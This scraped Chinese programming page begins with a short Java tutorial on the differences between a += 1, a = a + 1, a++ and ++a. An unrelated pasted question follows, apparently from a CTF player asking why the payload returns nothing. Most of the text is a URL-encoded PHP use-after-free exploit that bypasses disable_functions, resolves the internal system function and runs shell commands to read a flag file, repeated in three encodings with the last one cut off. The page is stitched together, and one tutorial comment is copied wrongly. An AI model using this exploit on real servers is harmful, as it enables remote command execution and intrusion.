a += 1、a = a + 1、a++区别

1、a += 1a = a + 1 区别
a类型不是int

byte a = 1;

a += 1;//1默认是int型,a为byte型,a+1有算术运算符,所以a会发生隐式转换变为int型,a+1的结果为int型,运行正常

a = a + 1;//a本身为byte型,不能直接赋值,该行会报错

a = (byte)(a+1);//需要强转,改为a=(byte)(a+1);就不会报错了

a类型是int

int a = 1;

a += 1; //1默认是int型,a为byte型,a+1有算术运算符,所以a会发生隐式转换变为int型,a+1的结果为int型,运行正常

a = a + 1; //a本身为int型,不用转型,不会保存,此时2种情况没有区别。


2、a++a = a + 1 区别

2种情况完全一样,a++a = a + 1的缩写


3、a++++a 区别

a++,a先执行表达式后再自增

++a ,a先自增再执行表达式

c=%3F%3E%3C%3Fphp%0Apwn(%22ls+%2F%3Bcat+%2Fflag0.txt%22)%3B%0A+%0Afunction+pwn(%24cmd)+%7B%0A++++global+%24abc%2C+%24helper%2C+%24backtrace%3B%0A++++class+Vuln+%7B%0A++++++++public+%24a%3B%0A++++++++public+function+__destruct()+%7B+%0A++++++++++++global+%24backtrace%3B+%0A++++++++++++unset(%24this-%3Ea)%3B%0A++++++++++++%24backtrace+=+(new+Exception)-%3EgetTrace()%3B+%23+%3B)%0A++++++++++++if(%21isset(%24backtrace%5B1%5D%5B%27args%27%5D))+%7B+%23+PHP+%3E=+7.4%0A++++++++++++++++%24backtrace+=+debug_backtrace()%3B%0A++++++++++++%7D%0A++++++++%7D%0A++++%7D%0A+%0A++++class+Helper+%7B%0A++++++++public+%24a%2C+%24b%2C+%24c%2C+%24d%3B%0A++++%7D%0A+%0A++++function+str2ptr(%26%24str%2C+%24p+=+0%2C+%24s+=+8)+%7B%0A++++++++%24address+=+0%3B%0A++++++++for(%24j+=+%24s-1%3B+%24j+%3E=+0%3B+%24j--)+%7B%0A++++++++++++%24address+%3C%3C=+8%3B%0A++++++++++++%24address+%7C=+ord(%24str%5B%24p+%24j%5D)%3B%0A++++++++%7D%0A++++++++return+%24address%3B%0A++++%7D%0A+%0A++++function+ptr2str(%24ptr%2C+%24m+=+8)+%7B%0A++++++++%24out+=+%22%22%3B%0A++++++++for+(%24i=0%3B+%24i+%3C+%24m%3B+%24i++)+%7B%0A++++++++++++%24out+.=+sprintf(%27%25c%27%2C%24ptr+%26+0xff)%3B%0A++++++++++++%24ptr+%3E%3E=+8%3B%0A++++++++%7D%0A++++++++return+%24out%3B%0A++++%7D%0A+%0A++++function+write(%26%24str%2C+%24p%2C+%24v%2C+%24n+=+8)+%7B%0A++++++++%24i+=+0%3B%0A++++++++for(%24i+=+0%3B+%24i+%3C+%24n%3B+%24i++)+%7B%0A++++++++++++%24str%5B%24p+++%24i%5D+=+sprintf(%27%25c%27%2C%24v+%26+0xff)%3B%0A++++++++++++%24v+%3E%3E=+8%3B%0A++++++++%7D%0A++++%7D%0A+%0A++++function+leak(%24addr%2C+%24p+=+0%2C+%24s+=+8)+%7B%0A++++++++global+%24abc%2C+%24helper%3B%0A++++++++write(%24abc%2C+0x68%2C+%24addr+++%24p+-+0x10)%3B%0A++++++++%24leak+=+strlen(%24helper-%3Ea)%3B%0A++++++++if(%24s+%21=+8)+%7B+%24leak+%25=+2+%3C%3C+(%24s+*+8)+-+1%3B+%7D%0A++++++++return+%24leak%3B%0A++++%7D%0A+%0A++++function+parse_elf(%24base)+%7B%0A++++++++%24e_type+=+leak(%24base%2C+0x10%2C+2)%3B%0A+%0A++++++++%24e_phoff+=+leak(%24base%2C+0x20)%3B%0A++++++++%24e_phentsize+=+leak(%24base%2C+0x36%2C+2)%3B%0A++++++++%24e_phnum+=+leak(%24base%2C+0x38%2C+2)%3B%0A+%0A++++++++for(%24i+=+0%3B+%24i+%3C+%24e_phnum%3B+%24i++)+%7B%0A++++++++++++%24header+=+%24base+++%24e_phoff+++%24i+*+%24e_phentsize%3B%0A++++++++++++%24p_type++=+leak(%24header%2C+0%2C+4)%3B%0A++++++++++++%24p_flags+=+leak(%24header%2C+4%2C+4)%3B%0A++++++++++++%24p_vaddr+=+leak(%24header%2C+0x10)%3B%0A++++++++++++%24p_memsz+=+leak(%24header%2C+0x28)%3B%0A+%0A++++++++++++if(%24p_type+==+1+%26%26+%24p_flags+==+6)+%7B+%23+PT_LOAD%2C+PF_Read_Write%0A++++++++++++++++%23+handle+pie%0A++++++++++++++++%24data_addr+=+%24e_type+==+2+%3F+%24p_vaddr+%3A+%24base+++%24p_vaddr%3B%0A++++++++++++++++%24data_size+=+%24p_memsz%3B%0A++++++++++++%7D+else+if(%24p_type+==+1+%26%26+%24p_flags+==+5)+%7B+%23+PT_LOAD%2C+PF_Read_exec%0A++++++++++++++++%24text_size+=+%24p_memsz%3B%0A++++++++++++%7D%0A++++++++%7D%0A+%0A++++++++if(%21%24data_addr+%7C%7C+%21%24text_size+%7C%7C+%21%24data_size)%0A++++++++++++return+false%3B%0A+%0A++++++++return+%5B%24data_addr%2C+%24text_size%2C+%24data_size%5D%3B%0A++++%7D%0A+%0A++++function+get_basic_funcs(%24base%2C+%24elf)+%7B%0A++++++++list(%24data_addr%2C+%24text_size%2C+%24data_size)+=+%24elf%3B%0A++++++++for(%24i+=+0%3B+%24i+%3C+%24data_size+%2F+8%3B+%24i++)+%7B%0A++++++++++++%24leak+=+leak(%24data_addr%2C+%24i+*+8)%3B%0A++++++++++++if(%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base)+%7B%0A++++++++++++++++%24deref+=+leak(%24leak)%3B%0A++++++++++++++++%23+%27constant%27+constant+check%0A++++++++++++++++if(%24deref+%21=+0x746e6174736e6f63)%0A++++++++++++++++++++continue%3B%0A++++++++++++%7D+else+continue%3B%0A+%0A++++++++++++%24leak+=+leak(%24data_addr%2C+(%24i+++4)+*+8)%3B%0A++++++++++++if(%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base)+%7B%0A++++++++++++++++%24deref+=+leak(%24leak)%3B%0A++++++++++++++++%23+%27bin2hex%27+constant+check%0A++++++++++++++++if(%24deref+%21=+0x786568326e6962)%0A++++++++++++++++++++continue%3B%0A++++++++++++%7D+else+continue%3B%0A+%0A++++++++++++return+%24data_addr+++%24i+*+8%3B%0A++++++++%7D%0A++++%7D%0A+%0A++++function+get_binary_base(%24binary_leak)+%7B%0A++++++++%24base+=+0%3B%0A++++++++%24start+=+%24binary_leak+%26+0xfffffffffffff000%3B%0A++++++++for(%24i+=+0%3B+%24i+%3C+0x1000%3B+%24i++)+%7B%0A++++++++++++%24addr+=+%24start+-+0x1000+*+%24i%3B%0A++++++++++++%24leak+=+leak(%24addr%2C+0%2C+7)%3B%0A++++++++++++if(%24leak+==+0x10102464c457f)+%7B+%23+ELF+header%0A++++++++++++++++return+%24addr%3B%0A++++++++++++%7D%0A++++++++%7D%0A++++%7D%0A+%0A++++function+get_system(%24basic_funcs)+%7B%0A++++++++%24addr+=+%24basic_funcs%3B%0A++++++++do+%7B%0A++++++++++++%24f_entry+=+leak(%24addr)%3B%0A++++++++++++%24f_name+=+leak(%24f_entry%2C+0%2C+6)%3B%0A+%0A++++++++++++if(%24f_name+==+0x6d6574737973)+%7B+%23+system%0A++++++++++++++++return+leak(%24addr+++8)%3B%0A++++++++++++%7D%0A++++++++++++%24addr++=+0x20%3B%0A++++++++%7D+while(%24f_entry+%21=+0)%3B%0A++++++++return+false%3B%0A++++%7D%0A+%0A++++function+trigger_uaf(%24arg)+%7B%0A++++++++%23+str_shuffle+prevents+opcache+string+interning%0A++++++++%24arg+=+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3B%0A++++++++%24vuln+=+new+Vuln()%3B%0A++++++++%24vuln-%3Ea+=+%24arg%3B%0A++++%7D%0A+%0A++++if(stristr(PHP_OS%2C+%27WIN%27))+%7B%0A++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3B%0A++++%7D%0A+%0A++++%24n_alloc+=+10%3B+%23+increase+this+value+if+UAF+fails%0A++++%24contiguous+=+%5B%5D%3B%0A++++for(%24i+=+0%3B+%24i+%3C+%24n_alloc%3B+%24i++)%0A++++++++%24contiguous%5B%5D+=+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3B%0A+%0A++++trigger_uaf(%27x%27)%3B%0A++++%24abc+=+%24backtrace%5B1%5D%5B%27args%27%5D%5B0%5D%3B%0A+%0A++++%24helper+=+new+Helper%3B%0A++++%24helper-%3Eb+=+function+(%24x)+%7B+%7D%3B%0A+%0A++++if(strlen(%24abc)+==+79+%7C%7C+strlen(%24abc)+==+0)+%7B%0A++++++++die(%22UAF+failed%22)%3B%0A++++%7D%0A+%0A++++%23+leaks%0A++++%24closure_handlers+=+str2ptr(%24abc%2C+0)%3B%0A++++%24php_heap+=+str2ptr(%24abc%2C+0x58)%3B%0A++++%24abc_addr+=+%24php_heap+-+0xc8%3B%0A+%0A++++%23+fake+value%0A++++write(%24abc%2C+0x60%2C+2)%3B%0A++++write(%24abc%2C+0x70%2C+6)%3B%0A+%0A++++%23+fake+reference%0A++++write(%24abc%2C+0x10%2C+%24abc_addr+++0x60)%3B%0A++++write(%24abc%2C+0x18%2C+0xa)%3B%0A+%0A++++%24closure_obj+=+str2ptr(%24abc%2C+0x20)%3B%0A+%0A++++%24binary_leak+=+leak(%24closure_handlers%2C+8)%3B%0A++++if(%21(%24base+=+get_binary_base(%24binary_leak)))+%7B%0A++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3B%0A++++%7D%0A+%0A++++if(%21(%24elf+=+parse_elf(%24base)))+%7B%0A++++++++die(%22Couldn%27t+parse+ELF+header%22)%3B%0A++++%7D%0A+%0A++++if(%21(%24basic_funcs+=+get_basic_funcs(%24base%2C+%24elf)))+%7B%0A++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3B%0A++++%7D%0A+%0A++++if(%21(%24zif_system+=+get_system(%24basic_funcs)))+%7B%0A++++++++die(%22Couldn%27t+get+zif_system+address%22)%3B%0A++++%7D%0A+%0A++++%23+fake+closure+object%0A++++%24fake_obj_offset+=+0xd0%3B%0A++++for(%24i+=+0%3B+%24i+%3C+0x110%3B+%24i++=+8)+%7B%0A++++++++write(%24abc%2C+%24fake_obj_offset+++%24i%2C+leak(%24closure_obj%2C+%24i))%3B%0A++++%7D%0A+%0A++++%23+pwn%0A++++write(%24abc%2C+0x20%2C+%24abc_addr+++%24fake_obj_offset)%3B%0A++++write(%24abc%2C+0xd0+++0x38%2C+1%2C+4)%3B+%23+internal+func+type%0A++++write(%24abc%2C+0xd0+++0x68%2C+%24zif_system)%3B+%23+internal+func+handler%0A+%0A++++(%24helper-%3Eb)(%24cmd)%3B%0A++++exit()%3B%0A%7D为什么这个获取不到结果
最新发布
01-05
c=%3F%3E%3C%3Fphp%0Apwn%28%22ls+/%3Bcat+/flag0.txt%22%29%3B%0A%0Afunction+pwn%28%24cmd%29+%7B%0A++++global+%24abc%2C+%24helper%2C+%24backtrace%3B%0A++++class+Vuln+%7B%0A++++++++public+%24a%3B%0A++++++++public+function+__destruct%28%29+%7B+%0A++++++++++++global+%24backtrace%3B+%0A++++++++++++unset%28%24this-%3Ea%29%3B%0A++++++++++++%24backtrace+=+%28new+Exception%29-%3EgetTrace%28%29%3B+%23+%3B%29%0A++++++++++++if%28%21isset%28%24backtrace%5B1%5D%5B%27args%27%5D%29%29+%7B+%23+PHP+%3E=+7.4%0A++++++++++++++++%24backtrace+=+debug_backtrace%28%29%3B%0A++++++++++++%7D%0A++++++++%7D%0A++++%7D%0A%0A++++class+Helper+%7B%0A++++++++public+%24a%2C+%24b%2C+%24c%2C+%24d%3B%0A++++%7D%0A%0A++++function+str2ptr%28%26%24str%2C+%24p+=+0%2C+%24s+=+8%29+%7B%0A++++++++%24address+=+0%3B%0A++++++++for%28%24j+=+%24s-1%3B+%24j+%3E=+0%3B+%24j--%29+%7B%0A++++++++++++%24address+%3C%3C=+8%3B%0A++++++++++++%24address+%7C=+ord%28%24str%5B%24p+%24j%5D%29%3B%0A++++++++%7D%0A++++++++return+%24address%3B%0A++++%7D%0A%0A++++function+ptr2str%28%24ptr%2C+%24m+=+8%29+%7B%0A++++++++%24out+=+%22%22%3B%0A++++++++for+%28%24i=0%3B+%24i+%3C+%24m%3B+%24i++%29+%7B%0A++++++++++++%24out+.=+sprintf%28%27%25c%27%2C%24ptr+%26+0xff%29%3B%0A++++++++++++%24ptr+%3E%3E=+8%3B%0A++++++++%7D%0A++++++++return+%24out%3B%0A++++%7D%0A%0A++++function+write%28%26%24str%2C+%24p%2C+%24v%2C+%24n+=+8%29+%7B%0A++++++++%24i+=+0%3B%0A++++++++for%28%24i+=+0%3B+%24i+%3C+%24n%3B+%24i++%29+%7B%0A++++++++++++%24str%5B%24p+++%24i%5D+=+sprintf%28%27%25c%27%2C%24v+%26+0xff%29%3B%0A++++++++++++%24v+%3E%3E=+8%3B%0A++++++++%7D%0A++++%7D%0A%0A++++function+leak%28%24addr%2C+%24p+=+0%2C+%24s+=+8%29+%7B%0A++++++++global+%24abc%2C+%24helper%3B%0A++++++++write%28%24abc%2C+0x68%2C+%24addr+++%24p+-+0x10%29%3B%0A++++++++%24leak+=+strlen%28%24helper-%3Ea%29%3B%0A++++++++if%28%24s+%21=+8%29+%7B+%24leak+%25=+2+%3C%3C+%28%24s+*+8%29+-+1%3B+%7D%0A++++++++return+%24leak%3B%0A++++%7D%0A%0A++++function+parse_elf%28%24base%29+%7B%0A++++++++%24e_type+=+leak%28%24base%2C+0x10%2C+2%29%3B%0A%0A++++++++%24e_phoff+=+leak%28%24base%2C+0x20%29%3B%0A++++++++%24e_phentsize+=+leak%28%24base%2C+0x36%2C+2%29%3B%0A++++++++%24e_phnum+=+leak%28%24base%2C+0x38%2C+2%29%3B%0A%0A++++++++for%28%24i+=+0%3B+%24i+%3C+%24e_phnum%3B+%24i++%29+%7B%0A++++++++++++%24header+=+%24base+++%24e_phoff+++%24i+*+%24e_phentsize%3B%0A++++++++++++%24p_type++=+leak%28%24header%2C+0%2C+4%29%3B%0A++++++++++++%24p_flags+=+leak%28%24header%2C+4%2C+4%29%3B%0A++++++++++++%24p_vaddr+=+leak%28%24header%2C+0x10%29%3B%0A++++++++++++%24p_memsz+=+leak%28%24header%2C+0x28%29%3B%0A%0A++++++++++++if%28%24p_type+==+1+%26%26+%24p_flags+==+6%29+%7B+%23+PT_LOAD%2C+PF_Read_Write%0A++++++++++++++++%23+handle+pie%0A++++++++++++++++%24data_addr+=+%24e_type+==+2+%3F+%24p_vaddr+%3A+%24base+++%24p_vaddr%3B%0A++++++++++++++++%24data_size+=+%24p_memsz%3B%0A++++++++++++%7D+else+if%28%24p_type+==+1+%26%26+%24p_flags+==+5%29+%7B+%23+PT_LOAD%2C+PF_Read_exec%0A++++++++++++++++%24text_size+=+%24p_memsz%3B%0A++++++++++++%7D%0A++++++++%7D%0A%0A++++++++if%28%21%24data_addr+%7C%7C+%21%24text_size+%7C%7C+%21%24data_size%29%0A++++++++++++return+false%3B%0A%0A++++++++return+%5B%24data_addr%2C+%24text_size%2C+%24data_size%5D%3B%0A++++%7D%0A%0A++++function+get_basic_funcs%28%24base%2C+%24elf%29+%7B%0A++++++++list%28%24data_addr%2C+%24text_size%2C+%24data_size%29+=+%24elf%3B%0A++++++++for%28%24i+=+0%3B+%24i+%3C+%24data_size+/+8%3B+%24i++%29+%7B%0A++++++++++++%24leak+=+leak%28%24data_addr%2C+%24i+*+8%29%3B%0A++++++++++++if%28%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base%29+%7B%0A++++++++++++++++%24deref+=+leak%28%24leak%29%3B%0A++++++++++++++++%23+%27constant%27+constant+check%0A++++++++++++++++if%28%24deref+%21=+0x746e6174736e6f63%29%0A++++++++++++++++++++continue%3B%0A++++++++++++%7D+else+continue%3B%0A%0A++++++++++++%24leak+=+leak%28%24data_addr%2C+%28%24i+++4%29+*+8%29%3B%0A++++++++++++if%28%24leak+-+%24base+%3E+0+%26%26+%24leak+-+%24base+%3C+%24data_addr+-+%24base%29+%7B%0A++++++++++++++++%24deref+=+leak%28%24leak%29%3B%0A++++++++++++++++%23+%27bin2hex%27+constant+check%0A++++++++++++++++if%28%24deref+%21=+0x786568326e6962%29%0A++++++++++++++++++++continue%3B%0A++++++++++++%7D+else+continue%3B%0A%0A++++++++++++return+%24data_addr+++%24i+*+8%3B%0A++++++++%7D%0A++++%7D%0A%0A++++function+get_binary_base%28%24binary_leak%29+%7B%0A++++++++%24base+=+0%3B%0A++++++++%24start+=+%24binary_leak+%26+0xfffffffffffff000%3B%0A++++++++for%28%24i+=+0%3B+%24i+%3C+0x1000%3B+%24i++%29+%7B%0A++++++++++++%24addr+=+%24start+-+0x1000+*+%24i%3B%0A++++++++++++%24leak+=+leak%28%24addr%2C+0%2C+7%29%3B%0A++++++++++++if%28%24leak+==+0x10102464c457f%29+%7B+%23+ELF+header%0A++++++++++++++++return+%24addr%3B%0A++++++++++++%7D%0A++++++++%7D%0A++++%7D%0A%0A++++function+get_system%28%24basic_funcs%29+%7B%0A++++++++%24addr+=+%24basic_funcs%3B%0A++++++++do+%7B%0A++++++++++++%24f_entry+=+leak%28%24addr%29%3B%0A++++++++++++%24f_name+=+leak%28%24f_entry%2C+0%2C+6%29%3B%0A%0A++++++++++++if%28%24f_name+==+0x6d6574737973%29+%7B+%23+system%0A++++++++++++++++return+leak%28%24addr+++8%29%3B%0A++++++++++++%7D%0A++++++++++++%24addr++=+0x20%3B%0A++++++++%7D+while%28%24f_entry+%21=+0%29%3B%0A++++++++return+false%3B%0A++++%7D%0A%0A++++function+trigger_uaf%28%24arg%29+%7B%0A++++++++%23+str_shuffle+prevents+opcache+string+interning%0A++++++++%24arg+=+str_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0A++++++++%24vuln+=+new+Vuln%28%29%3B%0A++++++++%24vuln-%3Ea+=+%24arg%3B%0A++++%7D%0A%0A++++if%28stristr%28PHP_OS%2C+%27WIN%27%29%29+%7B%0A++++++++die%28%27This+PoC+is+for+*nix+systems+only.%27%29%3B%0A++++%7D%0A%0A++++%24n_alloc+=+10%3B+%23+increase+this+value+if+UAF+fails%0A++++%24contiguous+=+%5B%5D%3B%0A++++for%28%24i+=+0%3B+%24i+%3C+%24n_alloc%3B+%24i++%29%0A++++++++%24contiguous%5B%5D+=+str_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0A%0A++++trigger_uaf%28%27x%27%29%3B%0A++++%24abc+=+%24backtrace%5B1%5D%5B%27args%27%5D%5B0%5D%3B%0A%0A++++%24helper+=+new+Helper%3B%0A++++%24helper-%3Eb+=+function+%28%24x%29+%7B+%7D%3B%0A%0A++++if%28strlen%28%24abc%29+==+79+%7C%7C+strlen%28%24abc%29+==+0%29+%7B%0A++++++++die%28%22UAF+failed%22%29%3B%0A++++%7D%0A%0A++++%23+leaks%0A++++%24closure_handlers+=+str2ptr%28%24abc%2C+0%29%3B%0A++++%24php_heap+=+str2ptr%28%24abc%2C+0x58%29%3B%0A++++%24abc_addr+=+%24php_heap+-+0xc8%3B%0A%0A++++%23+fake+value%0A++++write%28%24abc%2C+0x60%2C+2%29%3B%0A++++write%28%24abc%2C+0x70%2C+6%29%3B%0A%0A++++%23+fake+reference%0A++++write%28%24abc%2C+0x10%2C+%24abc_addr+++0x60%29%3B%0A++++write%28%24abc%2C+0x18%2C+0xa%29%3B%0A%0A++++%24closure_obj+=+str2ptr%28%24abc%2C+0x20%29%3B%0A%0A++++%24binary_leak+=+leak%28%24closure_handlers%2C+8%29%3B%0A++++if%28%21%28%24base+=+get_binary_base%28%24binary_leak%29%29%29+%7B%0A++++++++die%28%22Couldn%27t+determine+binary+base+address%22%29%3B%0A++++%7D%0A%0A++++if%28%21%28%24elf+=+parse_elf%28%24base%29%29%29+%7B%0A++++++++die%28%22Couldn%27t+parse+ELF+header%22%29%3B%0A++++%7D%0A%0A++++if%28%21%28%24basic_funcs+=+get_basic_funcs%28%24base%2C+%24elf%29%29%29+%7B%0A++++++++die%28%22Couldn%27t+get+basic_functions+address%22%29%3B%0A++++%7D%0A%0A++++if%28%21%28%24zif_system+=+get_system%28%24basic_funcs%29%29%29+%7B%0A++++++++die%28%22Couldn%27t+get+zif_system+address%22%29%3B%0A++++%7D%0A%0A++++%23+fake+closure+object%0A++++%24fake_obj_offset+=+0xd0%3B%0A++++for%28%24i+=+0%3B+%24i+%3C+0x110%3B+%24i++=+8%29+%7B%0A++++++++write%28%24abc%2C+%24fake_obj_offset+++%24i%2C+leak%28%24closure_obj%2C+%24i%29%29%3B%0A++++%7D%0A%0A++++%23+pwn%0A++++write%28%24abc%2C+0x20%2C+%24abc_addr+++%24fake_obj_offset%29%3B%0A++++write%28%24abc%2C+0xd0+++0x38%2C+1%2C+4%29%3B+%23+internal+func+type%0A++++write%28%24abc%2C+0xd0+++0x68%2C+%24zif_system%29%3B+%23+internal+func+handler%0A%0A++++%28%24helper-%3Eb%29%28%24cmd%29%3B%0A++++exit%28%29%3B%0A%7D和c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24ab